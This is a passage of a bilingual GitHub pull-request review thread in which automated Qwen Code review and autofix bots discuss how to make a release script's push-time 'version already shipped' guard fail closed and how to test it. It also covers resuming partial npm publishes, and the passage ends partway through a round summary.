保护新增 git push --force 的推送时重新校验在探测出错时是失败放行(fail open)的。doesVersionExist 把所有检查失败都当作"版本未发布":npm 循环的 catch (_error) {} 将 registry 错误(5xx/超时/限流)与 E404 同样静默吞掉;此处新增的 ls-remote catch 对除 2 以外的任何退出码都是记录日志后继续;gh release view 的 catch 对 isExpectedMissingGitHubRelease 无法识别的错误同样如此。已用探针证实:把 npm/git ls-remote/gh 全部打桩为报错后,node scripts/get-release-version.js --assert-unreleased=0.21.11(一个真实已发布的版本)以退出码 0 通过 —— 只要探测降级,防护就会放行已发布的版本。本轮由 8 个审查视角独立报告。 — 失败场景:run A 发布了 npm 包但在 gh release create 之前失败(tag/release 只在最后一步才存在);重试 B 到达此推送时 registry 恰好瞬时降级 —— 很可能正是压垮 run A 的同一次降级 → 十个探测全部报错并被当作"不存在"吞掉 → 断言通过 → git push --force 替换了已发布包所锚定的分支 tip,随后 tag、release 与 merge-to-main 都锚定到新的 tip。新增的并发组已消除 workflow 内的同版本竞争者,因此触发条件是复合的(已发布但未打 tag 的状态 + 恰在该窗口内探测失败)—— 所以是 Suggestion 而非 Critical。仓库内的先例是失败关闭的:packages/sdk-python/scripts/get-release-version.js 在其 tag 检查出错时会抛出。

建议修复 —— 仅在推送时路径失败关闭(prepare 的尽力版本选择语义不变):ls-remote 分支对非 2 退出码抛出"无法验证"错误;并为 assertVersionUnreleased 增加严格模式,使 npm/gh 探测的非 E404/非 release-not-found 错误抛出而非继续。

— qwen3.8-max via Qwen Code /review (v0.21.11)

Comment thread scripts/get-release-version.js Outdated
Comment on lines +540 to +543
const args = getArgs();
if (args['assert-unreleased'] !== undefined) {
try {
assertVersionUnreleased(args['assert-unreleased']);

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] R4-2: The new CLI dispatch seam — this args['assert-unreleased'] key lookup plus the ::error:: formatting and process.exit(1) — has no test at any level: the unit tests call assertVersionUnreleased directly, and the workflow test pins only the YAML invocation string. Mutation-proven: renaming the key to args['assert_unreleased'] leaves all 46 tests green, and the mutated CLI run prints getVersion() JSON and exits 0. — Failure scenario: any future edit that mistypes this key makes the workflow's --assert-unreleased="${RELEASE_VERSION}" call fall into the else branch, print version JSON, and exit 0 → the force push proceeds with the re-validation silently skipped — exactly the regression this PR exists to prevent, shipped green. The process.argv[1] entry guard makes this block unreachable to in-process unit tests, so the gap is structural, not incidental.

// suggested fix: a spawn-based test of the real CLI mode, e.g.
it('aborts with an error annotation when the version has shipped', () => {
  // spawnSync('node', ['scripts/get-release-version.js', '--assert-unreleased=0.21.11'])
  // expect(result.status).toBe(1);
  // expect(result.stderr.toString()).toContain('::error::');
});
// (or extract the dispatch into an exported function and unit-test it)
中文说明

新的 CLI 分发接缝 —— 此处 args['assert-unreleased'] 键查找加上 ::error:: 格式化与 process.exit(1) —— 在任何层级都没有测试:单元测试直接调用 assertVersionUnreleased,workflow 测试只固定 YAML 中的调用字符串。已用突变证实:把键改名为 args['assert_unreleased'] 后全部 46 个测试仍为绿色,且突变后的 CLI 运行会打印 getVersion() JSON 并以退出码 0 结束。 — 失败场景:未来任何把该键打错的编辑都会使 workflow 的 --assert-unreleased="${RELEASE_VERSION}" 调用落入 else 分支、打印版本 JSON 并以 0 退出 → 强制推送在重新校验被静默跳过的情况下执行 —— 正是本 PR 要防止的回归,且以全绿状态上线。process.argv[1] 入口守卫使该代码块对进程内单元测试不可达,因此缺口是结构性的而非偶然。

建议修复:为真实 CLI 模式增加基于 spawn 的测试(断言非零退出码与 ::error:: 前缀),或把分发逻辑提取为导出函数并做单元测试。

— qwen3.8-max via Qwen Code /review (v0.21.11)

- name: 'Commit and Conditionally Push package versions'
env:
BRANCH_NAME: '${{ steps.release_branch.outputs.BRANCH_NAME }}'
GITHUB_TOKEN: '${{ github.token }}'

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] R4-3: The new re-validation pin test asserts RELEASE_VERSION in this step's env but not GITHUB_TOKEN, even though the gh release view leg the same guard added requires it. Mutation-proven: deleting this line keeps 46/46 tests green. Observed live: without a token, gh release view fails with an authentication error matching neither 'release not found' nor 'Not Found', so isExpectedMissingGitHubRelease does not recognize it and the catch swallows it. — Failure scenario: a future edit drops this line; the pin stays green; gh release view then fails with an auth error on every release and the guard permanently runs on two legs (npm + remote tag) instead of three — a silent, permanent degradation of the very protection this PR adds.

Suggested fix — extend the re-validation regex in scripts/tests/release-workflow.test.js to also require this line inside the Commit and Conditionally Push package versions env block (a step-scoped anchor is needed — GITHUB_TOKEN appears in other steps too):

/name: 'Commit and Conditionally Push package versions'\n {8}env:\n[\s\S]*?GITHUB_TOKEN: '\$\{\{ github\.token \}\}'[\s\S]*?RELEASE_VERSION: '\$\{\{ needs\.prepare\.outputs\.release_version \}\}'/
中文说明

新的重新校验固定测试断言了本步骤 env 中的 RELEASE_VERSION,却没有断言 GITHUB_TOKEN —— 而同一防护新增的 gh release view 分支恰恰依赖它。已用突变证实:删除本行后 46/46 测试仍全绿。实测观察:无 token 时 gh release view 报认证错误,该错误既不匹配 'release not found' 也不匹配 'Not Found',因此 isExpectedMissingGitHubRelease 无法识别、catch 会将其吞掉。 — 失败场景:未来某次编辑删掉本行;固定测试仍为绿色;此后每次发布 gh release view 都因认证错误失败,防护永久退化为两条腿(npm + 远端 tag)而不是三条 —— 对本 PR 所添加保护本身的静默且永久的削弱。

建议修复:扩展 scripts/tests/release-workflow.test.js 中重新校验的正则,使其同时要求本行位于 Commit and Conditionally Push package versions 的 env 块内(需要步骤级锚定 —— GITHUB_TOKEN 也出现在其他步骤中)。

— qwen3.8-max via Qwen Code /review (v0.21.11)

Comment thread scripts/get-release-version.js Outdated
Comment on lines +211 to +213
// Check Git tags. Push-time callers pass checkRemoteTags: the local
// checkout predates the approval gate, so a tag a concurrent run pushed
// in between is not in it.

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] R4-4: This comment's causal claim is inverted — the publish job's Checkout is the job's FIRST step and the environment: production-release gate delays the entire job, so the checkout runs AFTER approval (fetching, with fetch-depth: 0, any tag pushed during the wait). The window git ls-remote actually covers is the in-job gap between that checkout and the push step several steps later (setup-node, npm ci, git config, branch creation, and the version bump intervene), plus out-of-band tag pushes. The code is correct; only the rationale is wrong. (The sibling comment in release.yml's push step — about prepare's check predating the gate — is accurate and needs no change.) — Failure scenario: a maintainer reasoning from this comment about whether the local git tag -l check could ever be restored, or what window the remote check covers, works from an inverted picture of the workflow's timing — the same comment-accuracy class this PR's round-3 finding R3-5 already fixed for the concurrency guarantee.

Suggested change
// Check Git tags. Push-time callers pass checkRemoteTags: the local
// checkout predates the approval gate, so a tag a concurrent run pushed
// in between is not in it.
// Check Git tags. Push-time callers pass checkRemoteTags: the checkout
// at job start can only know tags that existed when the job began, and
// the version may ship between that fetch and this push — check origin.
中文说明

本注释的因果论断是反的 —— publish 任务的 Checkout 是该任务的第一个步骤,而 environment: production-release 门禁会延迟整个任务,因此 checkout 在审批通过之后才运行(并以 fetch-depth: 0 取到等待期间推送的任何 tag)。git ls-remote 实际覆盖的窗口是该 checkout 与若干步骤之后的推送步骤之间的任务内间隙(其间经过 setup-node、npm ci、git config、分支创建与版本 bump),以及带外的 tag 推送。代码本身正确;只是论据写反了。(release.yml 推送步骤中的兄弟注释 —— 关于 prepare 的检查早于门禁 —— 是准确的,无需改动。) — 失败场景:维护者依据本注释判断本地 git tag -l 检查是否可能被恢复、或远端检查覆盖什么窗口时,会基于一个颠倒的 workflow 时序图推理 —— 这与第 3 轮发现 R3-5 已修复的并发保证注释属于同一类注释准确性问题。

— qwen3.8-max via Qwen Code /review (v0.21.11)

Comment on lines +635 to +637
// The release workflow's publish steps and this guard both derive from
// this list; adding or removing a package must update the pin here so
// every consumer is reviewed together.

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] R4-5: This comment claims the workflow's publish steps derive from PUBLISHED_PACKAGES, but they hardcode the set separately in YAML (three individual publish steps plus the channel allowlist loop in release.yml); grep shows PUBLISHED_PACKAGES is referenced only by the script and the tests. The R3-2 fix made the guard follow this list, but nothing couples the list to the workflow's publish set, so drift is prevented in one direction only. — Failure scenario: an 11th package added to the workflow's publish allowlist but not to PUBLISHED_PACKAGES leaves both the push-time guard and prepare's conflict loop blind to it; a release that partially published only the new package and then failed would not be refused on retry, and the force push would replace the branch tip over it.

Suggested change
// The release workflow's publish steps and this guard both derive from
// this list; adding or removing a package must update the pin here so
// every consumer is reviewed together.
// The push-time guard derives from this list; the workflow's publish
// steps hardcode the same set separately, so adding or removing a
// package must update both this pin and the publish steps in
// release.yml so every consumer is reviewed together.

Alternatively, close the gap where this file already parses the workflow YAML: assert every PUBLISHED_PACKAGES entry appears in a publish step of release.yml.

中文说明

本注释声称 workflow 的发布步骤派生自 PUBLISHED_PACKAGES,但它们在 YAML 中是单独硬编码的(release.yml 中三个独立发布步骤加上 channel allowlist 循环);grep 显示 PUBLISHED_PACKAGES 仅被该脚本与测试引用。R3-2 的修复使防护跟随此列表,但没有任何机制把该列表与 workflow 的发布集合耦合,因此漂移只在一个方向上被防止。 — 失败场景:第 11 个包被加入 workflow 的发布 allowlist 却未加入 PUBLISHED_PACKAGES 时,推送时防护与 prepare 的冲突循环都对其不可见;一次仅发布了该新包便失败的发布,在重试时不会被拒绝,强制推送会覆盖其分支 tip。

也可以选择在本文件已解析 workflow YAML 的地方直接堵住缺口:断言 PUBLISHED_PACKAGES 的每一项都出现在 release.yml 的某个发布步骤中。

— qwen3.8-max via Qwen Code /review (v0.21.11)

@qwen-code-dev-bot

Copy link
Copy Markdown
Collaborator Author

🤖 Addressed the latest review feedback (round 3/10). What changed, and what I pushed back on: · 已处理最新评审反馈(第 3/10 轮)。改动内容与我反驳保留之处如下:

Autofix review round summary — PR #9082 (issue #9076)

Round outcome: made changes — all five findings addressed in one commit (43ca0092d2). No base-conflict resolution was needed (--conflict false).

Feedback points and dispositions

R4-1 — push-time re-validation fails open on probe errors (rc:3782626644) — Resolved

Verified: every probe error was swallowed as "version not shipped" — the npm loop swallowed registry errors (5xx/timeout/rate-limit) identically to E404, the ls-remote catch logged-and-continued for any exit status other than 2, and unrecognized gh release view errors were swallowed. Fix — fail closed on the push-time path only; prepare's best-effort version selection is unchanged:

  • doesVersionExist gained a single strict option (replacing checkRemoteTags; assertVersionUnreleased is the only push-time caller and always wants both behaviors):
    • npm probes run without the 2>/dev/null redirect so npm's stderr is visible; only E404 is treated as "absent", any other error throws Failed to verify <pkg>@<version> on npm: ... (same E404-detection precedent as getVersionFromNPM in this file)
    • git ls-remote errors with exit status other than 2 throw Failed to verify tag v<version> on origin: ... (status 2 remains "tag absent")
    • gh release view errors not recognized by isExpectedMissingGitHubRelease throw Failed to verify release v<version> on GitHub: ...
  • Added three unit tests, one per probe, proving each error class fails the assertion instead of passing.

R4-2 — CLI dispatch seam untested (rc:3782626651) — Resolved

Verified the structural gap. Extracted the dispatch into an exported runCli(args) that returns the exit code (the entry guard still exits non-zero), and added two unit tests: shipped version → returns 1 and emits the ::error:: annotation; unshipped → returns 0 with no output. A spawn-based test was not used because it would run the real npm view / git ls-remote / gh probes against the network; extraction is the hermetic alternative the finding itself offered. Verified the tests kill the reported mutation: renaming the key to assert_unreleased fails both new tests.

R4-3 — re-validation pin misses GITHUB_TOKEN (rc:3782626659) — Resolved

Extended the re-validation regex in scripts/tests/release-workflow.test.js to also require GITHUB_TOKEN: '${{ github.token }}' inside the Commit and Conditionally Push package versions env block. The pin is step-scoped in effect: GITHUB_TOKEN also appears in a later step, but the chain cannot complete from there because the --assert-unreleased line and the force-push line each appear exactly once in the workflow (verified by grep counts). Verified the pin kills the mutation: deleting the env line fails the test.

R4-4 — inverted comment rationale on the tag check (rc:3782626668) — Resolved

Verified against release.yml: the publish job's Checkout is the job's first step and runs after the environment: production-release gate delays the whole job, with fetch-depth: 0. The window git ls-remote covers is the in-job gap between that checkout and the push step several steps later, plus out-of-band tag pushes. Rewrote the comment accordingly; code unchanged. The sibling comment in release.yml (prepare's check predates the gate) was checked and left as-is, as the finding advised.

R4-5 — pin comment overstates coupling to the workflow (rc:3782626691) — Resolved

Verified: the workflow's publish steps hardcode the set separately (three named publish steps plus the channel allowlist loop dingtalk feishu github qqbot telegram wecom weixin); PUBLISHED_PACKAGES is referenced only by the script and its tests. Corrected the comment to say the guard derives from the list while the publish steps hardcode it, so both must be updated together. Chose the comment fix over the alternative YAML-coupling assertion: channel package names appear in the YAML only as allowlist suffixes, so such an assertion would need name-to-suffix mapping plus modeling of the three named publish steps — non-minimal coverage for a rare drift case.

Notes

No conflicting feedback, no failed or still-red checks in this round's input. Diff growth remains well inside budget (this round adds ~103 net test lines and ~26 net source lines).

Verification

  • npx vitest run --config ./scripts/tests/vitest.config.ts scripts/tests/get-release-version.test.js scripts/tests/release-workflow.test.js — passed (51 tests: 46 prior + 5 new)
  • Mutation checks (temporary, reverted afterwards): key typo assert_unreleased → both new CLI dispatch tests fail; deleting the GITHUB_TOKEN env line from the push step → the re-validation pin test fails
  • node scripts/get-release-version.js --assert-unreleased (offline CLI wiring check — this path validates before any probe runs) — prints ::error::assert-unreleased requires a version, e.g. --assert-unreleased=1.2.3 and exits 1
  • npx prettier --check on the three changed files — passed
  • npm run test:scripts — 54/54 files passed, 1169 passed | 16 skipped. (The first run showed one failure in install-script.test.jsENOENT packages/audio-capture/dist; confirmed unrelated to this change (those files contain no reference to get-release-version) and caused by a missing build artifact; it passes after npm run build produces the artifact.)
  • npm run build — passed
  • npm run typecheck — passed
  • npm run lint — passed
中文说明

Autofix 审查轮次总结 — PR #9082(issue #9076

本轮结果: 已修改 —— 五条发现全部处理,合并为一个提交(43ca0092d2)。无需解决与 base 的冲突(--conflict false)。

反馈点及处理

R4-1 — 推送时重新校验在探测出错时失败放行(rc:3782626644)— 已解决

已核实:所有探测错误都被当作"版本未发布"吞掉 —— npm 循环将 registry 错误(5xx/超时/限流)与 E404 同样吞掉;ls-remote 的 catch 对除 2 以外的任何退出码都是记录日志后继续;gh release viewisExpectedMissingGitHubRelease 无法识别的错误同样被吞掉。修复 —— 仅在推送时路径失败关闭(fail closed);prepare 的尽力版本选择语义保持不变:

  • doesVersionExist 新增单一 strict 选项(取代 checkRemoteTagsassertVersionUnreleased 是唯一的推送时调用方,两种行为总是同时需要):
    • npm 探测不再带 2>/dev/null 重定向,使 npm 的 stderr 可见;只有 E404 视为"不存在",其他任何错误抛出 Failed to verify <pkg>@<version> on npm: ...(与本文件中 getVersionFromNPM 的 E404 检测先例一致)
    • git ls-remote 以非 2 退出码出错时抛出 Failed to verify tag v<version> on origin: ...(退出码 2 仍表示"tag 不存在")
    • gh release view 中未被 isExpectedMissingGitHubRelease 识别的错误抛出 Failed to verify release v<version> on GitHub: ...
  • 新增三个单元测试,每个探测分支一个,证明各类错误都会使断言失败而非通过。

R4-2 — CLI 分发接缝无测试(rc:3782626651)— 已解决

已核实该结构性缺口。将分发逻辑提取为导出函数 runCli(args),返回退出码(入口守卫仍在非零时退出),并新增两个单元测试:版本已发布 → 返回 1 并输出 ::error:: 注解;未发布 → 返回 0 且无输出。未采用基于 spawn 的测试,因为它会真实执行 npm view / git ls-remote / gh 探测并访问网络;提取函数是发现本身给出的另一种无网络依赖方案。已验证测试能杀死所报告的突变:把键改名为 assert_unreleased 后两个新测试均失败。

R4-3 — 重新校验固定测试遗漏 GITHUB_TOKEN(rc:3782626659)— 已解决

已扩展 scripts/tests/release-workflow.test.js 中重新校验的正则,使其同时要求 Commit and Conditionally Push package versions 的 env 块内包含 GITHUB_TOKEN: '${{ github.token }}'。该固定在效果上是步骤级锚定的:GITHUB_TOKEN 也出现在后面的步骤中,但从那里无法完成整条匹配链,因为 --assert-unreleased 行与强制推送行在整个 workflow 中各只出现一次(已用 grep 计数核实)。已验证该固定能杀死突变:删除该 env 行后测试失败。

R4-4 — tag 检查注释的因果论断颠倒(rc:3782626668)— 已解决

已对照 release.yml 核实:publish 任务的 Checkout 是该任务的第一个步骤,且在整个任务被 environment: production-release 门禁延迟之后才运行,并使用 fetch-depth: 0git ls-remote 实际覆盖的窗口是该 checkout 与若干步骤之后的推送步骤之间的任务内间隙,以及带外的 tag 推送。已据此重写注释;代码不变。release.yml 推送步骤中的兄弟注释(prepare 的检查早于门禁)已核查,按发现建议保持原样。

R4-5 — 固定测试注释夸大了与 workflow 的耦合(rc:3782626691)— 已解决

已核实:workflow 的发布步骤单独硬编码了该集合(三个独立命名的发布步骤加上 channel allowlist 循环 dingtalk feishu github qqbot telegram wecom weixin);PUBLISHED_PACKAGES 仅被脚本与其测试引用。已修正注释,说明防护派生自该列表、而发布步骤是独立硬编码的,因此两处必须同时更新。选择了注释修正而非另一种 YAML 耦合断言:channel 包名在 YAML 中仅以 allowlist 后缀形式出现,这样的断言需要名称到后缀的映射并对三个命名发布步骤建模 —— 对低频漂移场景而言并非最小覆盖。

说明

本轮输入中无相互矛盾的反馈,无失败或持续红色的检查。Diff 增长仍远低于预算(本轮净增约 103 行测试、26 行源码)。

验证

  • npx vitest run --config ./scripts/tests/vitest.config.ts scripts/tests/get-release-version.test.js scripts/tests/release-workflow.test.js — 通过(51 个测试:原 46 个 + 新增 5 个)
  • 突变检查(临时应用、随后还原):键名拼错为 assert_unreleased → 两个新 CLI 分发测试失败;删除推送步骤的 GITHUB_TOKEN env 行 → 重新校验固定测试失败
  • node scripts/get-release-version.js --assert-unreleased(离线 CLI 接线检查 —— 该路径在任何探测运行之前先校验参数)— 输出 ::error::assert-unreleased requires a version, e.g. --assert-unreleased=1.2.3 并以退出码 1 结束
  • 对三个改动文件运行 npx prettier --check — 通过
  • npm run test:scripts — 54/54 个文件通过,1169 通过 | 16 跳过。(首轮运行中 install-script.test.js 有一个失败 —— ENOENT packages/audio-capture/dist;已确认与本改动无关(这些文件完全没有引用 get-release-version),原因是缺少构建产物;npm run build 生成该产物后测试通过。)
  • npm run build — 通过
  • npm run typecheck — 通过
  • npm run lint — 通过

Base-conflict check · 基分支冲突检查: no conflict with main. · 与 main 无冲突。

Re-review when you have a moment. After round 10 this bot stops and leaves the PR for a human. · 有空请复审;第 10 轮后本 bot 停止并将 PR 交给人工。


🧠 Handled by Qwen Code · model/模型 qwen3.8-max

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Reviewed. Suggestions are inline.

Not explored to full depth (tool budget reached): "背景:PR #9082(QwenLM/qwen-code,Fixes #9076)将 release publish…": none — all planned checks completed within budget.; "You are review agent reverse-audit — Reverse audit agent…": (none — all planned checks completed within budget).

Not linted (tool limitation, not a blocker): the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted.

Test Plan (not a blocker): release/v0.21.12-preview.0no such file or directory.

中文说明

已审查。 建议见行内评论。

未探索到全部深度(达到工具调用预算):"背景:PR #9082(QwenLM/qwen-code,Fixes #9076)将 release publish…"none — all planned checks completed within budget."You are review agent reverse-audit — Reverse audit agent…"(none — all planned checks completed within budget)

未检查(工具限制,非阻断):the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted。

Test Plan(非阻断):release/v0.21.12-preview.0no such file or directory

— qwen3.8-max via Qwen Code /review (v0.21.11)

Comment on lines +579 to +580
console.log(JSON.stringify(getVersion(args), null, 2));
return 0;

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] runCli's default dispatch branch — the path the prepare job uses (VERSION_JSON=$(node scripts/get-release-version.js "${VERSION_ARGS[@]}"), release.yml:136) — has zero test coverage: every runCli call in the tests passes 'assert-unreleased', and the existing getVersion tests import getVersion directly, bypassing this wrapper. The entry-point exit-code glue (if (exitCode !== 0) process.exit(exitCode)) is likewise unexercised.

Failure scenario: a future edit mutating this branch — return 0return 1, dropping the args pass-through to getVersion, or inverting the process.exit condition — merges with a fully green suite (all new tests touch only the assert branch). Proven by mutation probe: return 0;return 1; here survives the full 1174-test scripts suite, while a control mutation on the covered assert branch fails as expected. The regression surfaces only at the next release attempt: prepare's version lookup fails, or (for the exit-condition inversion) --assert-unreleased exits 0 on a shipped version and the force push proceeds over it.

Suggested fix: add runCli tests for the default path — assert runCli({ type: 'nightly' }) returns 0 and prints the getVersion JSON (spy on console.log, reuse the existing mockExecSync); optionally a subprocess smoke test of both modes to cover the process.exit plumbing end to end.

中文说明

runCli 的默认分发分支 —— 即 prepare 任务使用的路径(VERSION_JSON=$(node scripts/get-release-version.js "${VERSION_ARGS[@]}"),release.yml:136)—— 完全没有测试覆盖:测试中所有 runCli 调用都传入 'assert-unreleased',既有的 getVersion 测试直接导入 getVersion,绕过了这层新包装。入口处的退出码接线(if (exitCode !== 0) process.exit(exitCode))同样未被执行到。

失败场景:未来对该分支的改动 —— return 0return 1、删除传给 getVersionargs、或反转 process.exit 条件 —— 都会在整个测试套件全绿的情况下合入(新增测试全部只覆盖 assert 分支)。已通过突变探针证实:将此处的 return 0; 改为 return 1; 后,完整的 1174 个脚本测试仍然全部通过;而对已覆盖的 assert 分支施加对照突变则会按预期失败。该回归只会在下一次发布尝试时暴露:prepare 的版本查询失败;或者若退出条件被反转,--assert-unreleased 会对已发布版本以 0 退出,强制推送照常进行。

建议修复:为默认路径补充 runCli 测试 —— 断言 runCli({ type: 'nightly' }) 返回 0 并打印 getVersion 的 JSON(spy console.log,复用现有 mockExecSync);可选地增加覆盖两种模式的子进程冒烟测试,以端到端验证 process.exit 接线。

— qwen3.8-max via Qwen Code /review (v0.21.11)

Comment thread .github/workflows/release.yml Outdated
Comment on lines +435 to +437
node scripts/get-release-version.js --assert-unreleased="${RELEASE_VERSION}"
echo "Pushing release branch to remote..."
git push --set-upstream origin "${BRANCH_NAME}" --follow-tags
git push --force --set-upstream origin "${BRANCH_NAME}" --follow-tags

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] The push-time guard includes all 10 npm packages in its existence check (strict doesVersionExist), so after a partial npm publish any retry is permanently refused — and the publish steps' per-package already published; skipping resume logic becomes unreachable in exactly the state it exists for.

Failure scenario: run A force-pushes the branch, publishes 2 of 10 npm packages, then hits a transient npm failure (503/ETIMEDOUT) and the publish job fails. Any retry of the same version reaches this guard: strict mode finds the version on the 2 already-published packages and refuses (verified by probe: a 2-of-10-shipped registry makes the guard exit 1), so the job dies at the push step — before the four publish steps whose skip-if-published logic exists precisely to resume partial publishes. Pre-PR, recovery was deleting the stale remote branch and re-running; post-PR the guard still refuses after branch/tag deletion because npm already has the version. Re-dispatch does not complete the version either: getVersion auto-increments past a taken version, silently shipping X.Y.Z+1 and orphaning the partially-published packages at X.Y.Z. (The re-run dead-end predates this diff — the old non-fast-forward rejection blocked it too — so this is not a regression; but the PR's stated goal is to make retries work, and partial publish remains the most common class of mid-release failure.)

Suggested fix: either narrow the push-time guard to the artifacts that anchor the branch tip and cannot be redone idempotently (origin tag + GitHub release), relying on the publish steps' per-package skip logic plus the concurrency group to prevent npm double-publish; or, if the npm leg is deliberately conservative, extend the refusal message to name the partial-publish recovery — e.g. "Found only on: . If a previous attempt published partially, complete the remaining packages manually — re-running this job will keep failing here."

中文说明

推送时守卫把全部 10 个 npm 包都纳入存在性检查(strict doesVersionExist),因此一次部分 npm 发布之后,任何重试都会被永久拒绝 —— 而发布步骤中逐包的 already published; skipping 续传逻辑,恰恰在它本应生效的状态下变得不可达。

失败场景:run A 强制推送分支、发布了 10 个 npm 包中的 2 个,随后因瞬时 npm 故障(503/ETIMEDOUT)而失败。对同一版本的任何重试都会到达此守卫:strict 模式在已发布的 2 个包上发现该版本并拒绝(已通过探针验证:10 个包中 2 个已发布的 registry 会使守卫以 1 退出),于是任务死在推送步骤 —— 死在那四个靠"已发布则跳过"逻辑来续传部分发布的步骤之前。改动前,恢复手段是删除陈旧远端分支后重跑;改动后,即使删掉分支/tag,守卫仍会拒绝,因为 npm 上已有该版本。重新派发也无法补齐该版本:getVersion 会自动递增跳过已占用版本,悄悄发布 X.Y.Z+1,使部分发布的包被遗弃在 X.Y.Z。(该"重跑死路"在本 diff 之前就存在 —— 旧的 non-fast-forward 拒绝同样挡住重跑 —— 所以这不是回归;但本 PR 的目标正是让重试可用,而部分发布仍是最常见的发布中途失败类型。)

建议修复:要么把推送时守卫收窄到锚定分支 tip 且无法幂等重做的产物(origin tag + GitHub release),依赖发布步骤的逐包跳过逻辑加并发组来防止 npm 重复发布;要么,如果 npm 这一路检查是刻意的保守设计,就把拒绝消息扩展为指明部分发布的恢复方式 —— 例如"仅发现于:。若上次尝试只发布了部分包,请手动补齐其余包 —— 重跑本任务仍会在此失败。"

— qwen3.8-max via Qwen Code /review (v0.21.11)

Comment thread .github/workflows/release.yml Outdated
# its branch tip — and the tag and merge-to-main anchored to it —
# silently replaced. The script owns the published-package list,
# so this guard cannot drift from it.
node scripts/get-release-version.js --assert-unreleased="${RELEASE_VERSION}"

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] Every guard refusal or probe failure fails the publish job, which drives notify_failure (needs.publish.result == 'failure', dry_run != 'true') to file a "Release Failed" issue labeled autofix/approved and dispatch the autonomous autofix agent (gh workflow run qwen-autofix.yml … -f dry_run=false) — including for benign, correct refusals.

Failure scenario: while a run for v0.20.0 sits at the production-release approval gate, an operator re-dispatches the same version (or the midnight schedule and a manual dispatch compute the identical nightly version). The concurrency group queues the duplicate; the first run ships; the duplicate then re-validates, correctly refuses ("already shipped"), and the publish job fails. notify_failure then creates a "Release Failed for v0.20.0" issue and dispatches the autofix agent against a release that actually succeeded — a misleading issue plus an autonomous dry_run=false agent run spent on a non-failure. The same machinery fires for a transient npm/ls-remote/gh outage at push time (fail-closed is right, but its aftermath is indistinguishable from a real release failure).

Suggested fix: distinguish guard refusals from real failures before failing the job — e.g. have the refusal exit with a marker the workflow can detect and route to a ::notice + job success (for "already shipped") or a dedicated no-autofix notification path, so only genuine failures reach notify_failure's autofix dispatch.

中文说明

守卫的任何拒绝或探针失败都会使 publish 任务失败,进而触发 notify_failureneeds.publish.result == 'failure'dry_run != 'true')创建一个带 autofix/approved 标签的"Release Failed" issue 并派发自动修复 agent(gh workflow run qwen-autofix.yml … -f dry_run=false)—— 包括那些良性、正确的拒绝。

失败场景:当 v0.20.0 的一次运行停在 production-release 审批门禁时,运维又对同一版本做了一次派发(或午夜定时任务与手动派发计算出完全相同的 nightly 版本)。并发组将重复的运行排队;第一次运行完成发布;随后排队的运行重新校验,正确地拒绝("已发布"),publish 任务失败。notify_failure 于是创建"Release Failed for v0.20.0" issue,并对一次实际成功的发布派发自动修复 agent —— 产生一个误导性 issue,外加一次花在非故障上的 dry_run=false 自主 agent 运行。同样的机制也会在推送时刻的瞬时 npm/ls-remote/gh 故障时被触发(失败即关闭是对的,但其后续处理与真正的发布失败无法区分)。

建议修复:在使任务失败之前区分守卫拒绝与真实故障 —— 例如让拒绝以一个工作流可识别的标记退出,并路由到 ::notice + 任务成功(针对"已发布"情形)或一条不触发自动修复的专用通知路径,使只有真实故障才会进入 notify_failure 的自动修复派发。

— qwen3.8-max via Qwen Code /review (v0.21.11)

…of autofix (#9076)

The push-time guard refused retries after a partial npm publish without
saying where the version had shipped or how to recover, and every refusal
failed the publish job into notify_failure, filing a "Release Failed" issue
and dispatching the autofix agent against releases that did not fail.

- Scan all published packages in strict mode and name every shipped
  location in the refusal (npm packages, origin tag, GitHub release) with
  partial-publish recovery guidance; a decisive hit ends the check so a
  flaky later probe cannot mask the refusal with a probe error.
- Give the guard distinct exit codes: 3 = already shipped (decisive,
  benign), 2 = probe or usage failure. Exit 1 is reserved for uncaught
  node errors so a crash can never masquerade as the benign marker. The
  push step marks exit-3 refusals via the version_refusal job output, and
  notify_failure skips its issue + autofix dispatch for exactly that
  failure while genuine failures still notify.
- Cover runCli's default dispatch (prepare's path), the exit-code
  contract, and the process.exit wiring end to end.
@qwen-code-dev-bot

Copy link
Copy Markdown
Collaborator Author

🤖 Addressed the latest review feedback (round 4/10). What changed, and what I pushed back on: · 已处理最新评审反馈(第 4/10 轮)。改动内容与我反驳保留之处如下:

Review round summary — PR #9082 (issue #9076)

Three [Suggestion] findings from the automated reviewer; all three are addressed in code in commit 6754c22854. No conflicts with main (--conflict false, no merge needed).

Finding R5-1 — runCli's default dispatch branch has zero test coverage (scripts/get-release-version.js:580, rc:3783256259)

Decision: implemented. First reproduced the claim with a mutation probe: flipping return 0return 1 in the default branch left all 89 release-related tests green on the pre-round code, confirming the prepare job's path (VERSION_JSON=$(node scripts/get-release-version.js ...)) was unexercised through runCli.

Changes:

  • Added a runCli default-dispatch test driven the way prepare drives it. It uses type: 'stable' with stable_version_override so the printed JSON depends on args actually reaching getVersion (a nightly default would hide a dropped pass-through). It pins exit 0, single console.log call, and the exact version JSON.
  • Added a subprocess smoke test that runs the real entry point offline (--assert-unreleased= → usage error → exit 2), pinning the process.exit glue end to end — the reviewer's optional subprocess suggestion, without needing network.

Verified by mutation: the return 0→1 flip, the dropped-args mutation, and the inverted-process.exit condition are each now killed by exactly one of the new tests.

Finding R5-2 — partial npm publish makes every retry permanently refused (release.yml:437, rc:3783256262)

